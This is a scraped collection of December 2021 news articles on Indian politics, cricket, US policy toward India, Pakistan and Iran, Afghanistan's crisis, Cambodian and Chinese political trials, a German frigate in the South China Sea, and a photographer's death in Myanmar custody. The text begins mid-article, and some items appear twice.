Kedarnath temple in Uttarakhand, Banerjee contended that these visits were linked to the upcoming round of Assembly elections. On this occasion, the TMC supremo also took a swipe at BJP over its "minority appeasement" charge and asserted that she didn't require a character certificate from the saffron party. Read more here Will Virat Kohli Skip India Vs South Africa ODI Series? BCCI Official Gives Fresh Update The ongoing speculation about Virat Kohli planning to take a break from the India vs South Africa ODI series was put to rest by a top BCCI official who has said that no 'formal request' has been made by the Test skipper. Earlier on Tuesday, multiple reports suggested that Virat Kohli is likely to miss the India vs South Africa ODI series as he wants to spend time with his family. Virat Kohli is set to lead India in three-match Test series starting on December 26 with the final Test set to take place on January 15. Read more here India Playing Greater Role In Helping Maintain Free & Open Indo-Pacific As QUAD Member: US Democrat senator from New Jersey Robert Menendez hailed India's effort in maintaining a free and open Indo-Pacific region. Menendez, who was chairing the US Senate Committee on Foreign Relations on Tuesday, said as a member of Quad alongside US-Japan-Australia, India is playing a "great role" in helping maintain a free and open Indo-Pacific. The statement from the Democrat Senator came nearly three months after US President Joe Biden held the first in-person meeting of Quad leaders with his counterparts from India, Australia and Japan. Notably, during the meeting, Biden hailed the role played by Prime Minister Narendra Modi in ensuring peace and prosperity in the Indo-Pacific region. Replying to POTUS, PM Modi said, "The Indo-Pacific has great challenges and challenges have to be overcome. In six months from the last meeting so much has been accomplished. We stand here together in the Info Pacific region." Read more here UK Drops 11 Nations From COVID Red List, Visitors Allowed To Leave Hotel Quarantine Early Despite the growing number of Omicron cases, the United Kingdom has decided to remove all 11 countries from its "red list", saying that the system has become "less effective in slowing the incursion" of newer variants. Speaking at the House of Commons on Tuesday, UK Health Secretary Sajid Javid announced that the travellers from all the countries will no longer have to undergo government-approved mandatory quarantine in hotels for two weeks, which currently costs 2,285. The ban on international flights to and from the 11 countries will be lifted from Wednesday (Dec. 15) at 4 am. Read more here Pfizer's Antiviral Pill 'significant Step' In Fighting COVID-19: Biden The United States President Joe Biden has stated on Tuesday (local time) that Pfizer's COVID-19 antiviral pill is a big step towards fighting against the pandemic. Biden has even praised the report by Pfizer on an experimental treatment for Covid-19 which would reduce the risk of hospitalisation or fatality by 89% when administered to high-risk patients after showing their initial symptoms within a few days, CNN reported. According to a press statement issued by Pfizer on Tuesday, the final results, which were based on an examination of over 2,000 individuals in a phase 2/3 trial, were consistent with the interim assessment reported in November 2021. Read more here In the midst of the ongoing political and economic crisis in Afghanistan, the citizens of the war-torn nation are experiencing a severe humanitarian catastrophe, the United Nations Human Rights Council cautioned on Tuesday. The UN Deputy High Commissioner for Human Rights Nada Al-Nashif stated while speaking in Geneva that the existing authorities in Afghanistan must respect the basic fundamental rights and freedoms, as per the UN website. "The people of #Afghanistan face a profound humanitarian crisis that threatens the most basic of human rights" @NadaNashif updates @UN_HRC on Afghanistan and outlines main concerns on the economic crisis, shrinking civic space and women's rights: https://t.co/8XYW5Kw7Qo pic.twitter.com/CM5PF7jrNR UN Human Rights (@UNHumanRights) December 14, 2021 The UN official stated, "Economic life is largely paralyzed with the collapse of the banking system and a severe liquidity crisis. With winter having arrived, women, men, boys and girls face severe poverty and hunger, and limited and deteriorating public services, particularly health care," as per the statement released by the Office of the United Nations High Commissioner for Human Rights (OHCHR). Nada Al-Nashif talks about the humanitarian crisis in Afghanistan Al-Nashif further informed the Council that prior to the Taliban seizure in August, this year had already witnessed the largest number of civilian deaths on record, with women and children accounting for nearly half of the victims. Al-Nashif has even highlighted that as Afghans struggle to satisfy basic demands, they are forced to resort to extreme means such as child labour and child marriage. There have also been allegations of youngsters being sold, the UN website reported. Despite the fact that violence has decreased since August, Afghan civilians still remain in danger of war, as violent attacks by the Islamic State Khorasan Province and other armed groups persist. According to the UN website, Al-Nashif's office has received "credible allegations" of over 100 executions of former Afghan national security officers as well as others connected to the previous government. While, nearly, 72 people have been killed by the Taliban. In addition to this, the UN Deputy official stated claims that the existing scenario provides little protection to the citizens in terms of human rights. Women and girls, in particular, confront a lot of ambiguity about their rights to education, employment, as well as participation, which they have made significant progress in over the last two decades. Further, excluding women from working might result in economic damage of up to $1 billion, or 5% of the nations GDP. According to the latest UN estimates, 60% of the 4.2 million Afghan children who are currently out of school are young girls, and another 8.8 million children are at risk of losing their education due to non-payment of salaries to the teachers and school closures. The safety and security of Afghan judges, prosecutors, and attorneys is one among the numerous worries raised by UN officials. (Image: AP/ Twitter/ @UN-HCR) In a striking display of consumerism clashing with natures rawest climes, thousands of tonnes of knock-off clothing from Europe and the US are being piled up in a mass dump of unwanted fast-fashions in the remote vastness of Chile's Atacama desert Monday. A clandestine giant dump emerges from the hills of Atacama desert as tons of discarded clothes are left behind by local merchants. The port of Iquique, in the far north of Chile, is the duty-free zone that receives tons of used clothing bought by traders. In the process of choosing the most attractive garments for sale, these small traders discard what they feel will not be to the taste of their buyers in this huge rubbish dump. According to local authorities, the dump is not authorized and they're working for its definitive closure. According to official figures Chile has imported 59 thousand tons of clothing and shoes so far in 2021. (Disclaimer: This story is auto-generated from a syndicated feed; only the image & headline may have been reworked by www.republicworld.com) Democrat senator from New Jersey Robert Menendez hailed India's effort in maintaining a free and open Indo-Pacific region. Menendez, who was chairing the US Senate Committee on Foreign Relations on Tuesday, said as a member of Quad alongside US-Japan-Australia, India is playing a "great role" in helping maintain a free and open Indo-Pacific. The statement from the Democrat Senator came nearly three months after US President Joe Biden held the first in-person meeting of Quad leaders with his counterparts from India, Australia and Japan. Notably, during the meeting, Biden hailed the role played by Prime Minister Narendra Modi in ensuring peace and prosperity in the Indo-Pacific region. Replying to POTUS, PM Modi said, "The Indo-Pacific has great challenges and challenges have to be overcome. In six months from the last meeting so much has been accomplished. We stand here together in the Info Pacific region." As a member of Quad, alongside US-Japan-Australia, India is playing a greater role in helping maintain free & open Indo-Pacific. In Sept, Biden admn hosted 1st-ever in-person Quad Summit: Senator Robert Menendez welcoming the nomination of Eric Garcetti, as US Ambassador to India pic.twitter.com/aaB1WYVptL ANI (@ANI) December 14, 2021 "Islamabad offered a safe haven to the Taliban" Meanwhile, slamming the role of Pakistan in destabilising the Afghanistan government, Menendez said that the double-dealing of Islamabad lead to the collapse of the government. He also accused Pakistan of nurturing the Taliban terrorists in their country and blamed the extremist organisation for the killing of US troops in Afghanistan. "Islamabad offered a safe haven to the Taliban even as its militants targetted and killed US troops. We need to have a serious conversation with the Pakistani Government in our path forward," ANI quoted Menendez as saying. Watch: US Ambassador to Pakistan speaking on the issue of terrorism #WATCH| Religious minorities in Pak have long faced discrimination including accusations of blasphemy. Accusations have undermined rule of law, threatened mob rule & deeply damaged Pak's intl reputation & have led to many deaths: US Ambassador-designate to Pak Donald Armin Blome pic.twitter.com/P5aPWxH3Rm ANI (@ANI) December 14, 2021 It is worth mentioning a series of incidents unfolding in Afghanistan in mid-August after the Taliban ousted the Ashraf Ghani led-government and took control of the country. The dramatic fall of the government leads to the chaotic transition of the government, leading to the killing of US troops and more than hundreds of Afghans. "As I told this committee last month, the failure of our mission in Afghanistan was due, in a small part, to years of Pakistani double-dealing," the Democrat senator from New Jersey noted. He also welcomed the nomination of Donald Armin Blome as US Ambassador to Pakistan. Meanwhile, after being nominated for US Ambassador to Pakistan, Blome said he will push Islamabad to target all terrorist groups without distinction. "If confirmed, I will press Pakistan to target all terrorist groups without distinction," said Blome. (With inputs from ANI) (Image: ANI) US Ambassador-designate to Pakistan Donald Armin Blome on Tuesday said that he will push Islamabad to target all terrorist groups without distinction. During his testimony, Blome gave the statement followed by questions from lawmakers of the Senate Foreign Relations Committee. When questioned by US lawmakers weighing his nomination to become ambassador to Pakistan, Blome said, If confirmed, I will press Pakistan to target all terrorist groups without distinction. It is to mention that the Senate Foreign Relations Committee was chaired by Senator Robert Menendez, a Democrat lawmaker from New Jersey, along with only a handful of Democrats and two Republicans. On Tuesday, Blome said that he will never shy from defending human rights in Pakistan, particularly freedom of religion and expression. He said that if he is confirmed as the US Ambassador to Pakistan, he will speak out against violations of human rights and religious freedom. "Religious minorities in Pakistan have long faced discrimination including accusations of blasphemy. The accusations have undermined the rule of law, threatened mob rule and deeply damaged Pakistan's international reputation and have led to many deaths. If confirmed, I will speak out against violations of human rights and religious freedom," said Blome, as quoted by ANI. Blome's 'Mission Pakistan' Further, the American diplomat shared his thoughts on the kidnappings, assault and enforced disappearances of Pakistani journalists. He noted that the Pakistani journalists and members of civil society face kidnappings, assaults and intimidation. He added that he will advocate for expanded protections for freedom of association and assembly, and will meet the civil society partners regularly. Blome went on to reiterate his support for local groups and individuals who are often courageously leading the fights on the grounds. He said that if confirmed, he would certainly use his position to speak publicly along with his engagements at senior levels of the Pakistani government to make clear US government priorities and values with regards to human rights and personal freedoms. Blome added that he believes that it is also very important to work with local groups and individuals. I would look for ways that we can continue to support those groups and strengthen our support for those groups and those voices to make them more effective in leading the movement for change in Pakistan," said Blome. Moreover, during his testimony, Blome spoke about Afghanistan and said that Pakistan has a shared interest in ensuring that the war-ravaged nation does not once again become host to terrorist groups and contribute to regional instability. Mission Pakistan also plays an important role in encouraging an inclusive Afghan government that respects and promotes human rights of all individuals, including women and girls, members of minority groups, he added. Ensuring that Afghanistan never again becomes a safe haven for international terrorism will be a priority, said Blome. (With inputs from ANI) Amid the ongoing political, social and economic crisis in Afghanistan, the United States has refused to release nearly $9.5 billion of war-torn nation's frozen funds. According to Khaama Press, White House spokeswoman Jen Psaki has stated that the procedure would be complicated and further highlighted that the Taliban would not be allowed to access the funds. These comments came when Psaki responded to Afghanistan's acting Foreign Minister Amir Khan Motaqi's recent statements on the blocking of funds, saying that the decision will be taken after discussion with allies. Afghanistan's economy has been in free fall since the Taliban seized command of Kabul on August 15. Most of the $9 billion in assets of the Afghan central bank is held in the US, and have been frozen. Moreover, the International Monetary Fund (IMF) has also suspended around $450 million, according to the Associated Press. The three reasons of the US upon the release of Afghanistan's assets According to Psaki, one of the reasons why the US is unable to release Afghanistan's frozen assets is because the kin of the September 11 victims have requested their funds be delivered to them, a request is considered to be a significant one. Another reason Psaki cited was that the United States continues to identify the Taliban as a terrorist organisation, and most officials of the Taliban are on the United Nations's blacklist, Khaama Press reported. Indicating the third reason, she also stated that the US has yet to receive a clear explanation about how the money would be distributed to Afghans. Meanwhile, the acting Foreign Minister of Afghanistan, Amir Khan Muttaqi, previously stated that the US must free Afghan assets and that they desire to have a good relationship with the Afghan people. Moreover, the Taliban's deputy Prime Ministers have requested the US to unfreeze the funds, claiming that the assets do not belong to any administration or president, but rather to the Afghan people, according to Khaama Press. In addition to this, on Friday (local time), donors to the World Bank approved the distribution of $280 million to meet the nation's humanitarian requirements. Contributors to the Afghanistan Reconstruction Trust Fund have committed to funding the United Nations Children's Fund (UNICEF) as well as the World Food Program (WFP) $280 million by the end of December, as per Sputnik. (Image: AP) In a robust move to resolve the Joint Comprehensive Plan of Action (JCPOA) nuclear deal with Iran, the United States has agreed to lift all sanctions that are "inconsistent" while urging Tehran to act in "good faith." Speaking at the United Nations Security Council (UNSC) briefing on Iran and Nuclear Proliferation, US envoy to the UN, Linda Thomas said that Washington has aimed to pursue the path of diplomacy to achieve a mutual return to full compliance with the JCPOA, quoting US President Biden's wishes. However, she clarified that the leniency did not indicate allowing Iran to accelerate its nuclear program and "slow-walk" to nuclear diplomacy. "We are fully prepared to lift sanctions inconsistent with our JCPOA commitments, which would allow Iran to receive the economic benefits of the deal. And were convinced that, if Iran approaches talks in Vienna with urgency and good faith, we can quickly reach and implement an understanding on mutual return," US envoy to UN Linda Thomas said in a statement. She further reiterated US State Secretary Antony Blinken's remarks, saying that "Iran greeted the resumption of talks with new nuclear provocations and proceeded to stake out vague, unrealistic, maximalist, and unconstructive positions on both nuclear and sanctions issues in the talks." Thomas noted that the talks revolving the nuclear deal reached "substantial" progress over six rounds this Spring, with all sides making difficult decisions. However, she said the outcome of the negotiations has remained far from concluding "Iran is now seeking to reopen the compromises." "The simple truth is that, as Secretary Blinken has made clear, Iran is almost out of runway. There is a little time left, but Irans continued nuclear advancements and their lack of urgency in the talks are hollowing out the non-proliferation benefits that would be achieved by a mutual return to full JCPOA compliance," Thomas said at the UNSC. It is pertinent to mention that US' stance comes after the Vienna Talks resumed on Thursday in the presence of negotiators from Russia, the UK, Germany, China, and France. This came after the US withdrew from negotiations on December 3, with Blinken saying "Iran right now did not seem to be serious about what is necessary." To which Iran's Vienna delegation Advisor, Mohammad Marandi retorted stressing that US' actions reflected a "lack of optimism." It is pertinent to mention that the deal, signed in 2015 between Iran and the aforementioned P5+1, including the US, saw Washington lifting economic sanctions against Tehran and in return, the Islamic Republic agreed to bring down its uranium enrichment programme. Iran's nuclear escalations raise questions about its intentions Stressing that Iran's continued escalation of nuclear activities is inconsistent with its staged goals of returning to mutual compliance with the JCPOA, Thomas said, such actions have raised considerable questions about Iran's intentions. "Irans actions will not provide Iran with any leverage in negotiations and only intensify our concerns with Irans activities. While diplomatic negotiations continue, we remind Member States of the importance of continued implementation of the remaining sanctions measures in Annex B of Resolution 2231," she added. Some actors persist in their blame game habit, instead of real diplomacy. We proposed our ideas early, & worked constructively & flexibly to narrow gaps; diplomacy is a 2 way street. If there's real will to remedy the culprit's wrongdoing, way for quick good deal will be paved. https://t.co/I2CO1bQxO0 (@Bagheri_Kani) December 14, 2021 Iran completely deprived of rights and benefits under JCPOA Reverting to Thomas's comments at the UNSC, Iran Ambassador to UN, Majid Takht Ravanchi said that Tehran has been "completely deprived" of rights and benefits under the JCPOA for almost four years." Stressing that Iranian are feeling the pressure of the economic sanctions, Ravanchi added, "As the results of such gross violations of international law, the scope and extent of the damage to the Iranian people and economy is severe." Meanwhile, Iran has presented a draft agreement on the restoration of the domestic nukes program with Iran's Foreign Ministry spokesperson, Saeed Khatibzadeh, on Monday stating that Tehran is willing to be flexible and "not in a hurry" to reach a resolution. (Image: AP/ Unsplash (representative)/Twitter_@BagheriKani) Democrat Senator Robert Menendez on Tuesday accused Pakistan of double-dealing and said that the US mission in Afghanistan failed as Islamabad offered a safe haven to the Taliban. While welcoming the nomination of Donald Armin Blome as US Ambassador to Pakistan, Menendez called for a serious conversation with the Imran Khan-led Pakistan government on the path forward in bilateral relations. Islamabad offered a safe haven to the Taliban even as its militants targetted and killed US troops. We need to have a serious conversation with the Pakistani Government in our path forward," New Jersey Senator Menendez, who was chairing the US Senate Committee on Foreign Relations, said as quoted by ANI. As I told this committee last month, the failure of our mission in Afghanistan was due, in a small part, to years of Pakistani double-dealing: Senator Robert Menendez, chairing the US Senate Committee on Foreign Relations ANI (@ANI) December 14, 2021 Senator Robert Menendez also welcomed the nomination of Eric Garcetti as the US Ambassador to India and said that as a member of the QUAD, along with the US-Japan-Australia, India is playing a greater role in helping maintain free and open Indo-Pacific. In September, Biden administration hosted 1st-ever in-person Quad Summit. Tensions between Pakistan and US Meanwhile, Menendez welcomed Blomes nomination as the new US Ambassador to Pakistan amid challenging moment in the US-Pakistan bilateral relationship. Notably, the tensions between Washington and Islamabad have soared in recent days after Pakistan decided to boycott the Democracy Summit organised by US President Joe Biden. It is believed that Pakistan declined the United States invitation for the Democracy Summit under pressure from China, which was not invited by Washington. Additionally, following the Taliban takeover of Kabul, the US had also announced that it is going to be looking at its ties with Pakistan in a bid to formulate the role America wants Islamabad to play in the future of the war-ravaged nation. When asked about how Washington sees Islamabads involvement in Afghanistan, US State Secretary Antony Blinken in September said that Pakistan has a multiplicity of interests including some that are in clear conflict with that of the US. Blinken added that Indias involvement in the war-torn nation has influenced some detrimental actions by Pakistan. (Image: AP) Former US President Donald Trump stated that Mike Pence, who was the Vice President during his tenure in the office, is "mortally wounded" as he affirmed the 2020 election results, as per the reports of CNN. In a video released on social media, Trump is heard telling a crowd at a closed press event over the weekend that Pence had been very seriously injured by his affirmation on January 6 to allow legislative certification of the 2020 election results. He further stated that Mike should not have affirmed the election results to the legislators, and they would have had a different outcome in the election. He believed that Mike Pence had been severely harmed by what happened on January 6 and he also that he believed that the former Vice President had been mortally wounded, based on the reactions he's eliciting. Speculation about a presidential run in 2024 With repeated visits to Iowa and New Hampshire this year, the former vice president has sparked speculation about a presidential run in 2024. Pence visited New Hampshire last week to talk to a local Republican women's club and greet Republican Party contributors at a fundraiser for New Hampshire state senators, according to CNN. Pence said he sought inspiration from scripture in deciding how to approach January 6 during an appearance at an event held by the conservative nonprofit Heritage Action. He stated that he had taken an oath to preserve the United States Constitution. According to CNN, Pence has been secretly creating a campaign if he decides to run for president after next year's midterm elections. However, he has not made the choice to run for President as of yet. If Trump decided to run for president again the former vice and president would compete against one other. Pence believes he did the right thing Despite pleas from Trump and his supporters to stop the certification, Pence affirmed the 2020 election results. Pence has frequently asserted that he lacks the constitutional authority to reject or return state-certified electoral ballots. During the Jan. 6 attack on the Capitol, some protesters were heard yelling, "Hang Mike Pence," in reference to his role in certifying President Biden's victory, according to the Hill. Pence stated in December that he believes he did the right thing by certifying the results of the 2020 presidential election in January.-a Kem Sokha, former leader of the now-banned Cambodia National Rescue Party, is shown in a file photo. A Cambodian court has set a date for the long-delayed trial on treason charges of opposition leader Kem Sokha, ordering him to appear at the Phnom Penh Municipal Court on Jan. 19. Three judges will preside over the case, the Dec. 13 summons issued by Deputy Prosecutor Plang Sophal says. Kem Sokha, president of the Cambodia National Rescue Party (CNRP), was arrested in September 2017 over an alleged plot backed by the United States to overthrow the government of Prime Minister Hun Sen, who has ruled Cambodia for more than 35 years. Cambodias Supreme Court dissolved the CNRP two months later in a move that allowed Hun Sens Cambodian Peoples Party (CPP) to win all 125 seats in Parliament in a July 2018 election and drew U.S. sanctions and the suspension of trade privileges with the European Union. Scores of CNRP members and supporters have since been incarcerated, caught in a tortuous legal process made slower by COVID-19 restrictions. Kem Sokhas own trial opened in January 2020, but officials suspended hearings that March due, they said, to concerns over the spread of the pandemic. Kem Sokhas lawyer Meng Sopheary could not be reached for comment Tuesday, but she recently told RFA she wants the court to dismiss the charges against him, or at least allow more observers to attend his trial. As a lawyer helping with his case, I want the court to drop all the charges against him and allow him to regain his full freedom, she said. CPP spokesman Sok Ey San said that the court will make its own decision in Kem Sokhas case, free from outside interference. I hope the court hears this case as soon as possible to avoid any criticism, the ruling party spokesman said. Speaking from exile in Finland, Cambodian political analyst Kim Sok denounced the coming trial as a sham, saying Hun Sen will never allow Kem Sokha or the CNRPs Paris-based acting president Sam Rainsy to take up political activity again. This isnt a trial seeking justice. Its just a show, he said. The Phnom Penh Municipal Court meanwhile issued an order to authorities to assess the value of CNRPs former headquarters building in preparation for sale, with the appraisal scheduled for Dec. 20. Ny Sokha, president of the Cambodian rights group Adhoc, called the courts move a decision based on politics, and not on law. This is a joke. We should not use the court to settle a political conflict, he said. This is just making things worse. Cambodian political party FUNCINPEC at the same time is facing a split within its ranks, with one group wanting Princess Norodom Arunrasmy daughter of former Cambodian king Norodom Sihanouk to lead the party, while another group wants acting president Prince Chakravuth, son of late party leader Prince Norodom Ranariddh, to lead. Speaking to RFA, party board chairman Phann Sithi said that Princess Norodom Arunrasmy is next in line to lead, but party spokesman Nhoeurn Raden said that Prince Ranariddh, the late party member, had wanted his son Prince Chakravuth to be named president. The party will convene a congress to elect Prince Chakravuth president, he said, adding that the partys board members have now been fired and have no authority to make decisions on the partys behalf. FUNCINPEC won elections in Cambodia in 1993 but the party was deposed in a bloody 1997 coup by Hun Sen, then a coalition partner. In 2017, FUNCINPEC leader Ranariddh shocked admirers by backing Hun Sens dissolution of the CNRP, Hun Sens only remaining viable opposition. Reported by RFAs Khmer Service. Translated by Samean Yun. Written in English by Richard Finney. German navy frigate Bayern docked at the International Cruise Terminal, in Tokyo, Japan, during its current deployment to the Indo-Pacific, Nov. 5, 2021. The frigate Bayern is sailing through the South China Sea as part of the first deployment of a German warship to the Indo-Pacific in almost 20 years. The deployment marks a shift in Germanys strategy toward the region and it has been rebuked by China. Beijing in September rejected Bayerns request to make a port call in Shanghai. This doesnt necessarily mean that Germany changed its policy, said Christian-Ludwig Weber-Lortsch, former German ambassador to several key Southeast Asian countries, but driven by the increasing assertiveness of China, the situation in the region changed. So we had to adapt our strategy. In all my Asian years with assignments in China, Malaysia, Philippines, Myanmar and Vietnam, I have not observed such a dangerous situation in the region, Weber-Lortsch said. Ship-tracking data show the Bayern, a Brandenburg-class frigate with some 230 crew on board, entered the South China Sea early on Tuesday after leaving Busan in Korea on Dec. 6. Its carefully crafted path veered away from the Taiwan Strait, a flashpoint between Beijing and Taipei. The MarineTraffic data shows the frigate making an intriguing circular pattern in the waters off the Taiwan Strait between Dec. 9 and Dec. 11 before sailing southward. On Dec. 11, the German parliament, the Bundestag, passed a resolution calling on the government to reassess its Taiwan policy and deepen ties with Taipei while ruling out an establishment of diplomatic relations with the self-governing island that Beijing regards as part of China. The German government released comprehensive policy guidelines on the Indo-Pacific in September 2020, stating that the region is where the shape of the international rules-based order of tomorrow will be decided. Our prosperity and our geopolitical influence in the coming decades will depend on how we work together with the countries of the Indo-Pacific region, the then-foreign minister Heiko Maas said. File photo of the frigate Bayern which is on a six-month deployment to the Indo-Pacific, the first by a German warship in nearly 20 years. Credit: German Navy. Next stop: Singapore Following the new strategy, Germany sent frigate Bayern on its first Indo-Pacific deployment that runs from August 2021 to February 2022 with a core mission: flying the German flag. When German officials announced the mission in March, they said it would be the first such deployment to the region since 2002. Former ambassador Weber-Lortsch said as a leading export nation Germany concentrated mainly on business interests but now it should follow a more comprehensive approach, striking a balance between commercial and security considerations. The deployment is described as Germanys contribution to safeguarding the rules-based conduct across the Indo-Pacific. This voyage is also about demonstrating that Germany will stand by its international partners when it comes to securing the freedom of the sea routes and upholding international law in the region, the German armed forces said. China responded that the warship deployment to the South China Sea is intended to "flex muscles and stir up trouble, deliberately creating disputes on maritime issues." During the deployment, the Bayern has participated in joint exercises with the U.S., Australia, Singapore, Japan and South Korea. It took part in a surveillance operation to enforce UN sanctions against North Korea before leaving for the South China Sea. The German Ministry of Defense posted on its Twitter page: Next stop: Singapore, adding that the Bayern should arrive in the city before Christmas. The arrival could be as early as this coming weekend. Frigate Bayern is also scheduled to visit Vietnam, another country in territorial dispute with China. After that its expected to make port calls in Sri Lanka and India en route back to base in Wilhelmshaven, Germany, in February 2022. Bayern is one of four German Brandenburg-class frigates mainly used for anti-submarine warfare but also for surface-to-surface and anti-aircraft operations. Wang Zang and Wang Li are tried behind closed doors in Yunnan for 'incitement to subvert state power.' Dissident poet Wang Zang (R) and his wife Wang Li are shown in an undated photo. A dissident poet and his wife stood trial on Wednesday in the southwestern Chinese province of Yunnan for "incitement to subvert state power" in connection with his public support for the Hong Kong pro-democracy movement, RFA has learned. The trial of Wang Zang and his wife Wang Li was held behind closed doors at the Chuxiong Yi Autonomous Prefecture Intermediate People's Court, Wang Zang's lawyer Zhang Lei confirmed. "It's under way," Zhang said, but declined to comment further amid a clampdown on lawyers speaking to the media about cases. Wang Li's lawyer Zhang Tingyuan also declined to comment. "Today's session is over," Zhang said. "I can't tell you anything more; I hope you understand." Fellow defense attorney Lu Siwei said Wang Zang and Wang Li had both pleaded not guilty, and their lawyers had put up a defense in court, in a trial that lasted just one day. A verdict and sentence will be announced at a later date. "Wang Zang is doing okay, because he's fairly young and in good health, but his wife's health is much worse," Lu said. "She should have been put in a [psychiatric] hospital." "She has depression." Lu said the case was likely linked to Wang Zang's public support for the 2014 Occupy Central pro-democracy movement in Hong Kong. "[He also] made some criticisms about during the worst part of the pandemic in February and March 2020," he said. "He also wrote poems which the Chinese authorities deemed to contain [political] meanings." "He also won an award from the Independent Chinese PEN Association, so perhaps that counted as so-called evidence of criminality too," Lu said. Lu was part of Wang Zang's defense team but wasn't allowed to appear in court because his license to practice law has been revoked. "There are restrictions on what I can do as a defense attorney," Lu said. "I can't appear in court as his defense lawyer, but I can write a public defense of him." Access to donations cut off Lu said Wang Zang and Wang Li's four young children have been living with their grandmother for the past year under house arrest, with their access to donated funds cut off by the authorities. "There is a [police] car in their residential compound around the clock, and people watching the corridor [outside their apartment," Lu told RFA. "The worst thing is that gifts and books sent by friends all over the country to the kids have been intercepted by the authorities, who should guarantee the normal delivery of mail." "This is really pretty evil," he said. In their application for Wang Zang's indictment, local police cited his recent poetry, essays, interviews with foreign media, and performance art since his last release from prison in 2015. Wang Zang was initially detained in May 2020, while Wang was taken away on June 27, 2020. According to notifications of arrest received by the family in September 2020, Wang Zang and Wang Li were formally arrested by the Chuxiong Prefecture Public Security Bureau on July 3 and July 24 that year, respectively, for "incitement to subvert state power." The charges against Wang Li appear to stem from her speaking out about her husband's arrest via social media and interviews she gave to foreign journalists, the New York-based Human Rights Watch (HRW) has said. Wang Li is being held in the Chuxiong Prefecture Detention Center, HRIC said. Wang Zang was previously a resident of Beijing's Songzhuang artists' village, and has previously been targeted with repeated forced evictions and a jail term for showing online support for the 2014 Occupy Central movement in Hong Kong. Translated and edited by Luisetta Mudie. China's writers and artists should avoid producing "vulgar" work that paints the Chinese people in an "ugly" light, ruling Chinese Communist Party (CCP) leader Xi Jinping told a recent literary and artistic conference. Writers and artists should ensure that they behave in a "moral and upright" manner, while producing work that "extols goodness, truth and beauty," Xi told the 11th National Congress of China Federation of Literary and Art Circles and the 10th National Congress of China Writers Association in Beijing on Dec. 14. "Our artists and writers must practice morality and decency, have good taste and be responsible," Xi said. "I hope that the majority of literary and artistic workers will hold onto their original aspirations, keep their mission in mind, live up to the times, live up to the people, and make new and greater contributions to the comprehensive construction of a modern socialist country and the realization of the Chinese dream of the great rejuvenation of the Chinese nation," he added. He called for literary and artistic works that live up to Chinese aesthetic standards and spread "Chinese values." "You shouldn't ridicule the people, still less demonize them with ugly brushstrokes," Xi told the conference. "Literature and art should be popular, but not vulgar or kitsch." "The makers, followers, and advocates [of art and literary] must innovate, but they must not engage in anything weird or ridiculous," he said. "[They] shouldn't be contaminated with filthy lucre, nor enslaved to the market." "We must emphasize taste, style, and responsibility, be upright, act innocently, and extol truth, goodness, and beauty, and pinpoint falseness, evil and ugliness," Xi said. Liao Tianqi, vice chair of the PEN International Peace Committee, said Xi's comments are in effect a set of demands on writers and artists to produce propaganda for the CCP, similar to his requirement that the media belong to the ruling party. "Literature should be about expressing human nature, not marching to the tune of those in power," Liao told RFA. "Some literature does tap into weaknesses in society and in human nature." "Expressing such things doesn't mean you are exaggerating human evil, or social ugliness ... it's better than that; it's calling society's attention to the way society treats disadvantaged groups." Xi's comments were far more prescriptive than during his 2016 appearance at the same conferences, during which he merely asked writers to avoid "historical nihilism" when writing about modern and contemporary Chinese history. Freedom, privacy of thought In a separate interview two days earlier, U.S.-based writer Han Xiu accused the CCP of "ruining 5,000 years of Chinese civilization." She also warned that it is hard to write without the freedom and privacy of one's own thoughts. "Writers don't just need to have freedom in the environment where they live; it also matters whether their thoughts are free or not, or whether there is some kind of yardstick telling them what is the right way to write and what is not," Han said in an interview with RFA's "Viewpoint" program. "In such a complicated environment, you must have your own standpoint," she said. "If you stick to that, and write what you want to write, then you have creative freedom." "There are no artists who are subject to no restrictions at all, and many sacrifice their personal happiness and their independence of personality," Han said. "But they won't sacrifice their independence of thought or their creative freedom." Translated and edited by Luisetta Mudie. Photos of Soe Naing shared by his colleagues and social media show the spectrum people live in Myanmar from everyday moment to lives under the military regime. A freelance photographer arrested by junta troops on Human Rights Day has become the first journalist to die while in detention since the military seized power in Myanmar more than 10 months ago. Soe Naing was detained on Dec. 10 while documenting a nationwide Silent Strike boycott against junta rule to mark the United Nations day to honor human rights in Yangons Latha district. News of Soe Naings death surfaced on social media Tuesday and was confirmed by family members, according to sources who were close to the photographer. Photo of Soe Naing shared by his colleague. Just this morning, Ko Soe Naings cousin confirmed his death to his best friend. His friend also contacted Soe Naings wife. She also confirmed his death, a family friend told RFAs Myanmar Service on condition of anonymity, citing fear of reprisal. His friend is not in a position to talk to the media, so I am talking on his behalf. Soe Naings funeral was held in the Mingalardon area. One of Soe Naings colleagues also said he had received confirmation of his death, and suggested without elaborating that the photographer was killed during an interrogation by security forces. We didnt believe at first because there is no reason for them to beat a photojournalist to death, said the colleague, who declined to be named. However, around 4:00 p.m., someone from our internal network updated us that a family member had confirmed his death. The colleague said that an hour later, word spread that Soe Naings body had already been cremated by the authorities. No one got a chance to see the body or be present at his cremation, he said. Now, Ko Soe Naing is gone without a trace. Attempts by RFA to reach Soe Naings relatives went unanswered on Tuesday, as family members had turned off their phones for safety reasons, sources said. Seasoned photographer According to the colleague, Soe Naing was a seasoned photographer who had covered many events and protests since the military removed Myanmars democratically elected National League for Democracy government in a Feb. 1 coup. In the weeks and months since the coup, security personnel have committed human rights abuses including arbitrary arrests, rape and killings. More than 8,000 civilians have been arrested and 1,339 killed by junta authorities since February, according to the Bangkok-based Assistance Association for Political Prisoners, mostly during non-violent protests of the coup. Even when the military started suppressing the protesters and the protests turned into guerilla-like flash mobs, he still covered these events, Soe Naings colleague told RFA. He was calm and focused on his work. He was never involved in these protests. He only focused on covering the events. There is no reason for him to be killed. I cant understand why they killed him. Escalation in terror Soe Naings death was addressed in a statement by Paris-based journalist watchdog group Reporters Without Borders, which called on the international community to condemn what it called an escalation in terror against reporters and to implement sanctions against the junta leadership. With Soe Naings death, a new tragic threshold has been crossed this morning in the terror that Myanmars military are using against journalists, said Daniel Bastard, the head of the groups Asia-Pacific desk. His death must serve as an alarm signal and push the international community to impose new targeted sanctions on the military junta that has been running the country since February, starting with its chief, Gen. Min Aung Hlaing. The world can no longer look on without doing something. Reporters Without Borders noted that at least three other journalists had been arrested by authorities in recent days, including freelance photographer Zaw Tun on Dec. 10, and Democratic Voice of Burma reporter Aung San Lin and regional reporter Min Theik Tun on Dec. 12. Junta spokesman Gen. Zaw Min Tun did not respond to requests by RFA for comment on the arrests. At least 57 journalists are currently imprisoned in Myanmar, according to Reporters Without Borders. The group ranked Myanmar 140th out of 180 countries in its World Press Freedom Index, published in early 2021. Reported by Tin Aung Khine and Khet Mar for RFAs Myanmar Service. 